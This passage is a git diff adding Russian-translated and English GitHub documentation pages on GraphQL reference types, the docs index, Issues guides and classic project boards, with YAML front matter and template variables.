+ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109045' +--- +## Сведения о запросах + +Каждая схема GraphQL имеет корневой тип как для запросов, так и для изменений. [Тип запроса](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System) определяет операции GraphQL, которые извлекают данные с сервера. + +Дополнительные сведения см. в разделе [Сведения о запросах](/graphql/guides/forming-calls-with-graphql#about-queries). + +{% note %} + +**Примечание**. Для запросов {% data variables.product.prodname_github_app %} от [пользователя к серверу](/developers/apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) следует использовать отдельные запросы для проблем и запросов на вытягивание. Например, используйте фильтры `is:issue` или `is:pull-request` и их эквиваленты. Использование соединения `search` для возврата сочетания проблем и запросов на вытягивание в одном запросе приведет к пустому набору узлов. + +{% endnote %} + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/graphql/reference/scalars.md b/translations/ru-RU/content/graphql/reference/scalars.md new file mode 100644 index 000000000000..58089cfb1eea --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/scalars.md @@ -0,0 +1,28 @@ +--- +title: Скаляры +redirect_from: + - /v4/scalar + - /v4/reference/scalar +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +ms.openlocfilehash: 731b2085e9b207298b39b99b4b37907c517b5814 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110086' +--- +## Сведения о скалярах + +[Скаляры](https://graphql.github.io/graphql-spec/June2018/#sec-Scalars) — это примитивные значения: `Int`, `Float`, `String`, `Boolean` или `ID`. + +При вызове API GraphQL необходимо указывать вложенные подполя, пока не будут возвращены только скаляры. + +Дополнительные сведения см. в разделе [Общие сведения о GraphQL](/graphql/guides/introduction-to-graphql#field). + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/graphql/reference/unions.md b/translations/ru-RU/content/graphql/reference/unions.md new file mode 100644 index 000000000000..f0e4e9211932 --- /dev/null +++ b/translations/ru-RU/content/graphql/reference/unions.md @@ -0,0 +1,25 @@ +--- +title: Unions +redirect_from: + - /v4/union + - /v4/reference/union +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - API +--- + +## About unions + +A [union](https://graphql.github.io/graphql-spec/June2018/#sec-Unions) is a type of object representing many objects. + +For example, a field marked as an [`ProjectCardItem`](/graphql/reference/unions#projectcarditem) could be an [`Issue`](/graphql/reference/objects#issue) or a [`PullRequest`](/graphql/reference/objects#pullrequest) because each of those objects can be inside a project card. Using a union instead of an object gives you flexibility. + +For more information, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)." + +{% data reusables.projects.graphql-ghes %} + +<!-- Content after this section is automatically generated --> diff --git a/translations/ru-RU/content/index.md b/translations/ru-RU/content/index.md new file mode 100644 index 000000000000..9322ab48d9ef --- /dev/null +++ b/translations/ru-RU/content/index.md @@ -0,0 +1,164 @@ +--- +title: 'Справочная документация {% data variables.product.product_name %}{% ifversion fpt or ghec%}.com{% endif %}' +featuredLinks: + gettingStarted: + - /get-started/quickstart/set-up-git + - /github/authenticating-to-github/connecting-to-github-with-ssh + - /repositories/creating-and-managing-repositories + - /github/writing-on-github/basic-writing-and-formatting-syntax + popular: + - /pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests + - /authentication + - /get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github + - /get-started/getting-started-with-git/managing-remote-repositories + - /pages +redirect_from: + - /github + - /articles + - /common-issues-and-questions + - /troubleshooting-common-issues + - /early-access/github/enforcing-best-practices-with-github-policies + - /github/enforcing-best-practices-with-github-policies/index + - /early-access/github/enforcing-best-practices-with-github-policies/about-github-policies + - /github/enforcing-best-practices-with-github-policies/about-github-policies + - /early-access/github/enforcing-best-practices-with-github-policies/constraints + - /github/enforcing-best-practices-with-github-policies/constraints + - /early-access/github/enforcing-best-practices-with-github-policies/contexts + - /github/enforcing-best-practices-with-github-policies/contexts + - /early-access/github/enforcing-best-practices-with-github-policies/expressions + - /github/enforcing-best-practices-with-github-policies/expressions + - /early-access/github/enforcing-best-practices-with-github-policies/getting-started + - /early-access/github/enforcing-best-practices-with-github-policies/github-policies-vision + - /github/enforcing-best-practices-with-github-policies/github-policies-vision + - /early-access/github/enforcing-best-practices-with-github-policies/onboarding + - /github/enforcing-best-practices-with-github-policies/onboarding + - /early-access/github/enforcing-best-practices-with-github-policies/overview + - /github/enforcing-best-practices-with-github-policies/overview + - /early-access/github/enforcing-best-practices-with-github-policies/release-notes + - /github/enforcing-best-practices-with-github-policies/release-notes + - /early-access/github/enforcing-best-practices-with-github-policies/resources + - /github/enforcing-best-practices-with-github-policies/resources + - /early-access/github/enforcing-best-practices-with-github-policies/sharing + - /github/enforcing-best-practices-with-github-policies/sharing + - /early-access/github/enforcing-best-practices-with-github-policies/syntax + - /github/enforcing-best-practices-with-github-policies/syntax +versions: '*' +children: + - search + - get-started + - account-and-profile + - authentication + - repositories + - admin + - billing + - site-policy + - organizations + - code-security + - pull-requests + - issues + - actions + - copilot + - codespaces + - packages + - search-github + - developers + - rest + - graphql + - github-cli + - discussions + - sponsors + - communities + - pages + - education + - desktop + - early-access + - support +childGroups: + - name: Get started + octicon: RocketIcon + children: + - get-started + - account-and-profile + - authentication + - billing + - site-policy + - name: Collaborative coding + octicon: CommentDiscussionIcon + children: + - codespaces + - repositories + - pull-requests + - discussions + - copilot + - name: CI/CD and DevOps + octicon: GearIcon + children: + - actions + - packages + - pages + - name: Security + octicon: ShieldLockIcon + children: + - code-security + - code-security/supply-chain-security + - code-security/security-advisories + - code-security/dependabot + - code-security/code-scanning + - code-security/secret-scanning + - name: Client apps + octicon: DeviceMobileIcon + children: + - github-cli + - desktop + - name: Project management + octicon: ProjectIcon + children: + - issues + - search-github + - name: Developers + octicon: CodeSquareIcon + children: + - developers + - rest + - graphql + - name: Enterprise and Teams + octicon: OrganizationIcon + children: + - organizations + - admin + - name: Community + octicon: GlobeIcon + children: + - communities + - sponsors + - education + - support +externalProducts: + atom: + id: atom + name: Atom + href: 'https://atom.io/docs' + external: true + electron: + id: electron + name: Electron + href: 'https://electronjs.org/docs' + external: true + codeql: + id: codeql + name: CodeQL + href: 'https://codeql.github.com/docs' + external: true + npm: + id: npm + name: npm + href: 'https://docs.npmjs.com/' + external: true +ms.openlocfilehash: c76f5cd822d9b7bed7129626283552892366b57a +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158872' +--- + diff --git a/translations/ru-RU/content/issues/guides.md b/translations/ru-RU/content/issues/guides.md new file mode 100644 index 000000000000..c2fea6204603 --- /dev/null +++ b/translations/ru-RU/content/issues/guides.md @@ -0,0 +1,34 @@ +--- +title: Руководства по проблемам +shortTitle: Guides +intro: 'Узнайте, как использовать {% data variables.product.prodname_github_issues %} для планирования и отслеживания работы.' +allowTitleToDifferFromFilename: true +layout: product-guides +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +includeGuides: + - /issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions + - /issues/planning-and-tracking-with-projects/creating-projects/creating-a-project + - /issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view + - /issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects + - /issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects + - /issues/tracking-your-work-with-issues/quickstart + - /issues/tracking-your-work-with-issues/creating-an-issue + - /issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests + - /issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project + - /issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests + - /issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards + - /issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board + - /issues/using-labels-and-milestones-to-track-work/managing-labels + - /issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests +ms.openlocfilehash: 526d3f43c110b76fb1a0c20b5937ce2056804c81 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147423583' +--- + diff --git a/translations/ru-RU/content/issues/index.md b/translations/ru-RU/content/issues/index.md new file mode 100644 index 000000000000..2a9ffc01e526 --- /dev/null +++ b/translations/ru-RU/content/issues/index.md @@ -0,0 +1,83 @@ +--- +title: "Вопросы на\_GitHub" +shortTitle: GitHub Issues +intro: 'Узнайте, как использовать {% data variables.product.prodname_github_issues %} для планирования и отслеживания работы.' +introLinks: + overview: /issues/tracking-your-work-with-issues/creating-issues/about-issues + quickstart: /issues/tracking-your-work-with-issues/quickstart +featuredLinks: + guides: + - /issues/tracking-your-work-with-issues/creating-issues/creating-an-issue + - /issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects + - /issues/planning-and-tracking-with-projects/learning-about-projects/best-practices-for-projects + - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository + - /issues/tracking-your-work-with-issues/planning-and-tracking-work-for-your-team-or-project + guideCards: + - /issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view + - /issues/tracking-your-work-with-issues/creating-issues/linking-a-pull-request-to-an-issue + - '{% ifversion ghes or ghae %}/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards{% endif %}' + - /issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions + popular: + - /issues/tracking-your-work-with-issues/creating-issues/about-issues + - /issues/planning-and-tracking-with-projects/learning-about-projects/about-projects + - /issues/planning-and-tracking-with-projects/creating-projects/creating-a-project + - /issues/tracking-your-work-with-issues/creating-issues/about-tasklists + - /communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates + - /issues/using-labels-and-milestones-to-track-work/managing-labels + - /github/managing-your-work-on-github/viewing-all-of-your-issues-and-pull-requests + - '{% ifversion ghes or ghae %}/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards{% endif %}' + videos: + - title: Planning at scale with Issues – Mario Rodriguez + href: 'https://www.youtube-nocookie.com/embed/ha1KHcPMAEk' + - title: Planning at GitHub (Projects + Issues) – Matt Butler + href: 'https://www.youtube-nocookie.com/embed/HwpVvDURHKw' + - title: Issue Forms for open source – Luke Hefson + href: 'https://www.youtube-nocookie.com/embed/2Yh8ueUE0oY' + videosHeading: Videos +product_video: '{% ifversion projects-v2 %}https://www.youtube-nocookie.com/embed/yFQ-p6wMS_Y?list=PL0lo9MOBetEG8TZty9Z38oSZAY8FjkaB7&index=1{% else %}https://www.youtube-nocookie.com/embed/uiaLWluYJsA{% endif %}' +layout: product-landing +beta_product: false +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /tracking-your-work-with-issues + - /planning-and-tracking-with-projects + - /organizing-your-work-with-project-boards + - /using-labels-and-milestones-to-track-work + - /guides +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests + - /github/managing-your-work-on-github/managing-your-work-with-issues + - /github/managing-your-work-on-github + - /categories/100/articles + - /categories/managing-projects + - /categories/managing-projects-on-github + - /categories/managing-your-work-on-github + - /about-issues + - /creating-an-issue + - /deleting-an-issue + - /opening-an-issue-from-a-comment + - /opening-an-issue-from-code + - /transferring-an-issue-to-another-repository + - /pinning-an-issue-to-your-repository + - /creating-a-permanent-link-to-a-code-snippet + - /managing-labels + - /about-task-lists + - /about-automation-for-issues-and-pull-requests-with-query-parameters + - /file-attachments-on-issues-and-pull-requests + - /assigning-issues-and-pull-requests-to-other-github-users + - /viewing-all-of-your-issues-and-pull-requests + - /disabling-issues + - /linking-a-pull-request-to-an-issue + - /about-duplicate-issues-and-pull-requests +ms.openlocfilehash: 0f9165bd3fe278316fcf8cec72b6b49cfce02140 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160288' +--- + diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/index.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/index.md new file mode 100644 index 000000000000..7014d0a6ceb5 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/index.md @@ -0,0 +1,27 @@ +--- +title: 'Организация работы с помощью компонента "{% data variables.product.prodname_projects_v1 %}"' +shortTitle: '{% data variables.product.prodname_projects_v1_caps %}' +intro: 'Используйте {% data variables.product.prodname_projects_v1 %} для управления своей работой на {% data variables.product.prodname_dotcom %}.' +allowTitleToDifferFromFilename: true +versions: + feature: projects-v1 +topics: + - Issues + - Projects +children: + - /managing-project-boards + - /tracking-work-with-project-boards +redirect_from: + - /adding-issues-and-pull-requests-to-a-project-board + - /adding-notes-to-a-project-board + - /tracking-progress-on-your-project-board + - /filtering-cards-on-a-project-board + - /archiving-cards-on-a-project-board +ms.openlocfilehash: 5827065f7fe316f4ec8ea41b56be61b1e01943dd +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109040' +--- +{% data reusables.projects.project_boards_old %} diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md new file mode 100644 index 000000000000..95b761532e32 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-automation-for-project-boards.md @@ -0,0 +1,51 @@ +--- +title: 'Сведения об автоматизации компонента "{% data variables.product.prodname_projects_v1 %}"' +intro: 'Вы можете настроить автоматизированные рабочие процессы, чтобы синхронизировать состояние карточек компонента "{% data variables.projects.projects_v1_board %}" со связанными проблемами и запросами на вытягивание.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/about-automation-for-project-boards + - /articles/about-automation-for-project-boards + - /github/managing-your-work-on-github/about-automation-for-project-boards +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: 'Automation for {% data variables.product.prodname_projects_v1 %}' +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 28c4719cca14dff54d971b9a081837c172f4da76 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108980' +--- +{% data reusables.projects.project_boards_old %} + +{% data reusables.project-management.automate-project-board-permissions %} Дополнительные сведения: [{% data variables.product.prodname_projects_v1_caps %} и разрешения для организации](/articles/project-board-permissions-for-an-organization). + +Вы можете автоматизировать действия на основе активирующих событий для столбцов, которые содержит {% data variables.projects.projects_v1_board %}. Это позволит устранить некоторые ручные задачи, с помощью которых управляется {% data variables.projects.projects_v1_board %}. Например, можно настроить столбец "Текущие", чтобы все новые добавляемые проблемы или запросы на вытягивание, которые теперь содержит {% data variables.projects.projects_v1_board %}, автоматически перемещались в настроенный столбец. Дополнительные сведения: [Настройка автоматизации компонента "{% data variables.product.prodname_projects_v1 %}"](/articles/configuring-automation-for-project-boards). + +{% data reusables.project-management.use-automated-template %} + +{% data reusables.project-management.copy-project-boards %} + +{% data variables.projects.projects_v1_board_caps %} с автоматизацией также помогает командам специалистов получить общее понимание того, какое назначение имеет {% data variables.projects.projects_v1_board %} и какой в команде процесс разработки, за счет создания стандартного рабочего процесса для определенных действий. + +{% data reusables.project-management.resync-automation %} + +## Параметры автоматизации + +| Предустановка столбца | Варианты настройки | +| --- | --- | +| Действие | <ul><li>Переместить все недавно добавленные проблемы сюда</li><li>Переместить все недавно добавленные запросы на вытягивание сюда</li><li>Переместить все повторно открытые проблемы сюда</li><li>Переместить все повторно открытые запросы на вытягивание сюда</li></ul> | +| Выполняется | <ul><li>Переместить все недавно открытые запросы на вытягивание сюда</li><li>Переместить все повторно открытые проблемы сюда</li><li>Переместить все повторно открытые запросы на вытягивание сюда</li><li>Переместить все запросы на вытягивание, соответствующие минимальному количеству обязательных проверок базовой ветви, сюда</li><li>Переместить все запросы на вытягивание, больше не соответствующие минимальному количеству обязательных проверок базовой ветви, сюда</li></ul> | +| Готово | <ul><li>Переместить все закрытые проблемы сюда</li><li>Переместить все объединенные запросы на вытягивание сюда</li><li>Переместить все закрытые и не объединенные запросы на вытягивание сюда</li></ul> | + +## Отслеживание хода выполнения проекта + +Ваша {% data variables.projects.projects_v1_board %} позволяет отслеживать ход работы. Карточки в столбцах "Действие", "Выполняется" или "Готово" учитываются в общем ходе выполнения проекта. {% data reusables.project-management.project-progress-locations %} + +Дополнительные сведения: [Отслеживание хода выполнения в компоненте "{% data variables.product.prodname_project_v1 %}"](/github/managing-your-work-on-github/tracking-progress-on-your-project-board). + +## Дополнительные материалы +- [Настройка автоматизации компонента "{% data variables.product.prodname_projects_v1 %}"](/articles/configuring-automation-for-project-boards){% ifversion fpt or ghec %} +- [Копирование компонента "{% data variables.product.prodname_project_v1 %}"](/articles/copying-a-project-board){% endif %} diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md new file mode 100644 index 000000000000..1ef5d0831cb3 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md @@ -0,0 +1,74 @@ +--- +title: 'About {% data variables.product.prodname_projects_v1 %}' +intro: '{% data variables.product.prodname_projects_v1_caps %} on {% data variables.product.product_name %} help you organize and prioritize your work. You can create {% data variables.projects.projects_v1_boards %} for specific feature work, comprehensive roadmaps, or even release checklists. With {% data variables.product.prodname_projects_v1 %}, you have the flexibility to create customized workflows that suit your needs.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/about-project-boards + - /articles/about-projects + - /articles/about-project-boards + - /github/managing-your-work-on-github/about-project-boards +versions: + feature: projects-v1 +topics: + - Pull requests +allowTitleToDifferFromFilename: true +--- + +{% data reusables.projects.project_boards_old %} + +{% data variables.projects.projects_v1_boards_caps %} are made up of issues, pull requests, and notes that are categorized as cards in columns of your choosing. You can drag and drop or use keyboard shortcuts to reorder cards within a column, move cards from column to column, and change the order of columns. + +{% data variables.projects.projects_v1_board_caps %} cards contain relevant metadata for issues and pull requests, like labels, assignees, the status, and who opened it. {% data reusables.project-management.edit-in-project %} + +You can create notes within columns to serve as task reminders, references to issues and pull requests from any repository on {% data variables.location.product_location %}, or to add information related to the {% data variables.projects.projects_v1_board %}. You can create a reference card for another {% data variables.projects.projects_v1_board %} by adding a link to a note. If the note isn't sufficient for your needs, you can convert it to an issue. For more information on converting notes to issues, see "[Adding notes to a {% data variables.product.prodname_project_v1 %}](/articles/adding-notes-to-a-project-board)." + +Types of project boards: + +- **User-owned {% data variables.projects.projects_v1_board %}** can contain issues and pull requests from any personal repository. +- **Organization-wide {% data variables.projects.projects_v1_board %}** can contain issues and pull requests from any repository that belongs to an organization. {% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a {% data variables.product.prodname_project_v1 %}](/articles/linking-a-repository-to-a-project-board)." +- **Repository {% data variables.projects.projects_v1_board %}** are scoped to issues and pull requests within a single repository. They can also include notes that reference issues and pull requests in other repositories. + +## Creating and viewing {% data variables.projects.projects_v1_boards %} + +To create a {% data variables.projects.projects_v1_board %} for your organization, you must be an organization member. Organization owners and people with {% data variables.projects.projects_v1_board %} admin permissions can customize access to the {% data variables.projects.projects_v1_board %}. + +{% ifversion classic-project-visibility-permissions %}{% data reusables.projects.owners-can-limit-visibility-permissions %}{% endif %} + +If an organization-owned {% data variables.projects.projects_v1_board %} includes issues or pull requests from a repository that you don't have permission to view, the card will be redacted. For more information, see "[{% data variables.product.prodname_project_v1_caps %} permissions for an organization](/articles/project-board-permissions-for-an-organization)." + +The activity view shows the {% data variables.projects.projects_v1_board %}'s recent history, such as cards someone created or moved between columns. To access the activity view, click **Menu** and scroll down. + +To find specific cards on a {% data variables.projects.projects_v1_board %} or view a subset of the cards, you can filter {% data variables.projects.projects_v1_board %} cards. For more information, see "[Filtering cards on a {% data variables.product.prodname_project_v1 %}](/articles/filtering-cards-on-a-project-board)." + +To simplify your workflow and keep completed tasks off your {% data variables.projects.projects_v1_board %}, you can archive cards. For more information, see "[Archiving cards on a {% data variables.product.prodname_project_v1 %}](/articles/archiving-cards-on-a-project-board)." + +If you've completed all of your {% data variables.projects.projects_v1_board %} tasks or no longer need to use your {% data variables.projects.projects_v1_board %}, you can close the {% data variables.projects.projects_v1_board %}. For more information, see "[Closing a {% data variables.product.prodname_project_v1 %}](/articles/closing-a-project-board)." + +You can also [disable {% data variables.projects.projects_v1_boards %} in a repository](/articles/disabling-project-boards-in-a-repository) or [disable {% data variables.projects.projects_v1_boards %} in your organization](/articles/disabling-project-boards-in-your-organization), if you prefer to track your work in a different way. + +{% data reusables.project-management.project-board-import-with-api %} + +## Templates for {% data variables.projects.projects_v1_boards %} + +You can use templates to quickly set up a new {% data variables.projects.projects_v1_board %}. When you use a template to create a {% data variables.projects.projects_v1_board %}, your new board will include columns as well as cards with tips for using {% data variables.product.prodname_projects_v1 %}. You can also choose a template with automation already configured. + +| Template | Description | +| --- | --- | +| Basic kanban | Track your tasks with To do, In progress, and Done columns | +| Automated kanban | Cards automatically move between To do, In progress, and Done columns | +| Automated kanban with review | Cards automatically move between To do, In progress, and Done columns, with additional triggers for pull request review status | +| Bug triage | Triage and prioritize bugs with To do, High priority, Low priority, and Closed columns | + +For more information on automation for {% data variables.product.prodname_projects_v1 %}, see "[About automation for {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards)." + +![{% data variables.product.prodname_project_v1 %} with basic kanban template](/assets/images/help/projects/project-board-basic-kanban-template.png) + +{% data reusables.project-management.copy-project-boards %} + +## Further reading + +- "[Creating a {% data variables.product.prodname_project_v1 %}](/articles/creating-a-project-board)" +- "[Editing a {% data variables.product.prodname_project_v1 %}](/articles/editing-a-project-board)"{% ifversion fpt or ghec %} +- "[Copying a {% data variables.product.prodname_project_v1 %}](/articles/copying-a-project-board)"{% endif %} +- "[Adding issues and pull requests to a {% data variables.product.prodname_project_v1 %}](/articles/adding-issues-and-pull-requests-to-a-project-board)" +- "[{% data variables.product.prodname_project_v1_caps %} permissions for an organization](/articles/project-board-permissions-for-an-organization)" +- "[Keyboard shortcuts](/articles/keyboard-shortcuts/#project-boards)" diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md new file mode 100644 index 000000000000..03e1987e4d57 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/changing-project-board-visibility.md @@ -0,0 +1,32 @@ +--- +title: 'Changing {% data variables.product.prodname_project_v1 %} visibility' +intro: 'As an organization owner or {% data variables.projects.projects_v1_board %} admin, you can make a {% data variables.projects.projects_v1_board %} {% ifversion ghae %}internal{% else %}public{% endif %} or private.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/changing-project-board-visibility + - /articles/changing-project-board-visibility + - /github/managing-your-work-on-github/changing-project-board-visibility +versions: + feature: projects-v1 +topics: + - Pull requests +shortTitle: Change visibility +allowTitleToDifferFromFilename: true +--- +{% data reusables.projects.project_boards_old %} + +{% data reusables.project-management.project-board-visibility %} + +{% note %} + +**{% ifversion classic-project-visibility-permissions %}Notes{% else %}Note{% endif %}:** {% ifversion classic-project-visibility-permissions %} + +* {% data reusables.projects.owners-can-limit-visibility-permissions %} +* {% endif %}When you make your {% data variables.projects.projects_v1_board %} {% ifversion ghae %}internal{% else %}public{% endif %}, organization members are given read access by default. You can give specific organization members write or admin permissions by giving access to teams they're on or by adding them to the {% data variables.projects.projects_v1_board %} as a collaborator. For more information, see "[{% data variables.product.prodname_project_v1_caps %} permissions for an organization](/articles/project-board-permissions-for-an-organization)." + +{% endnote %} + +1. Navigate to the project board you want to make {% ifversion ghae %}internal{% else %}public{% endif %} or private. +{% data reusables.project-management.click-menu %} +{% data reusables.project-management.access-collaboration-settings %} +{% data reusables.project-management.choose-visibility %} +1. Click **Save**. diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md new file mode 100644 index 000000000000..e9e67f1d2a94 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md @@ -0,0 +1,39 @@ +--- +title: 'Закрытие {% data variables.product.prodname_project_v1 %}' +intro: 'Если вы выполнили все задачи в {% data variables.projects.projects_v1_board %} или больше не планируете использовать {% data variables.projects.projects_v1_board %}, можно закрыть {% data variables.projects.projects_v1_board %}.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/closing-a-project-board + - /articles/closing-a-project + - /articles/closing-a-project-board + - /github/managing-your-work-on-github/closing-a-project-board +versions: + feature: projects-v1 +topics: + - Pull requests +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 21dfb0c6837f97d567f19168cd7f343aac06a4c0 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110083' +--- +{% data reusables.projects.project_boards_old %} + +При закрытии {% data variables.projects.projects_v1_board %} любая настроенная автоматизация рабочих процессов будет приостановлена по умолчанию. + +Если повторно открыть {% data variables.projects.projects_v1_board %}, можно *синхронизировать* автоматизацию. Это обновит положение карточек на доске в соответствии с настроенными для нее параметрами автоматизации. Дополнительные сведения см. в статьях "[Повторное открытие закрытого {% data variables.product.prodname_project_v1 %}](/articles/reopening-a-closed-project-board)" и "[Сведения об автоматизации для {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards)". + +1. Перейдите к списку {% data variables.projects.projects_v1_boards %} в репозитории, организации или вашей личной учетной записи. +2. В списке проектов рядом с {% data variables.projects.projects_v1_board %}, который необходимо открыть, щелкните значок {% octicon "chevron-down" aria-label="The chevron icon" %}. +![Значок шеврона справа от имени доски проекта](/assets/images/help/projects/project-list-action-chevron.png) +3. Щелкните **Закрыть**. +![Пункт "Закрыть" в раскрывающемся меню доски проекта](/assets/images/help/projects/close-project.png) + +## Дополнительные материалы + +- "[Сведения о {% data variables.product.prodname_projects_v1 %}](/articles/about-project-boards)" +- "[Удаление {% data variables.product.prodname_project_v1 %}](/articles/deleting-a-project-board)" +- "[Отключение {% data variables.product.prodname_projects_v1 %} в репозитории](/articles/disabling-project-boards-in-a-repository)" +- "[Отключение {% data variables.product.prodname_projects_v1 %} в организации](/articles/disabling-project-boards-in-your-organization)" +- [Разрешения для {% data variables.product.prodname_project_v1_caps %} в организации](/articles/project-board-permissions-for-an-organization) diff --git a/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md new file mode 100644 index 000000000000..ac3eead6b0a7 --- /dev/null +++ b/translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/configuring-automation-for-project-boards.md @@ -0,0 +1,51 @@ +--- +title: 'Настройка автоматизации для {% data variables.product.prodname_projects_v1 %}' +intro: 'Можно настроить автоматические рабочие процессы для перемещения проблем и запросов на вытягивание в столбец {% data variables.projects.projects_v1_board %}, когда возникает определенное событие.' +redirect_from: + - /github/managing-your-work-on-github/managing-project-boards/configuring-automation-for-project-boards + - /articles/configuring-automation-for-project-boards + - /github/managing-your-work-on-github/configuring-automation-for-project-boards +versions: + feature: projects-v1 +topics: + - Pull requests + - Projects + - Issues + - Project management +shortTitle: Configure automation +type: how_to +allowTitleToDifferFromFilename: true +ms.openlocfilehash: faf559c3423178b43f3b524bbf3cdc41acd18a92 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110082' +--- +{% data reusables.projects.project_boards_old %} + +{% data reusables.project-management.automate-project-board-permissions %} Дополнительные сведения см. в статье "[Сведения об автоматизации для {% data variables.product.prodname_projects_v1 %}](/articles/about-automation-for-project-boards)". + +{% data reusables.project-management.use-automated-template %} + +{% data reusables.project-management.resync-automation %} + +{% tip %} + +**Совет**. Чтобы изменить столбцы, для которых уже настроена автоматизация, щелкните **Управление** внизу столбца. + +{% endtip %} + +1. Перейдите к {% data variables.projects.projects_v1_board %}, который необходимо автоматизировать. +2. В столбце, который нужно автоматизировать, щелкните {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. +![Значок "Изменить"](/assets/images/help/projects/edit-column-button.png) +3. Нажмите кнопку **Управление автоматизацией**. +![Кнопка "Управление автоматизацией"](/assets/images/help/projects/manage-automation-button.png) +4. В раскрывающемся меню предустановок выберите предустановку автоматизации. +![Выбор предустановки автоматизации в меню](/assets/images/help/projects/select-automation.png) +5. Выберите операции автоматизации 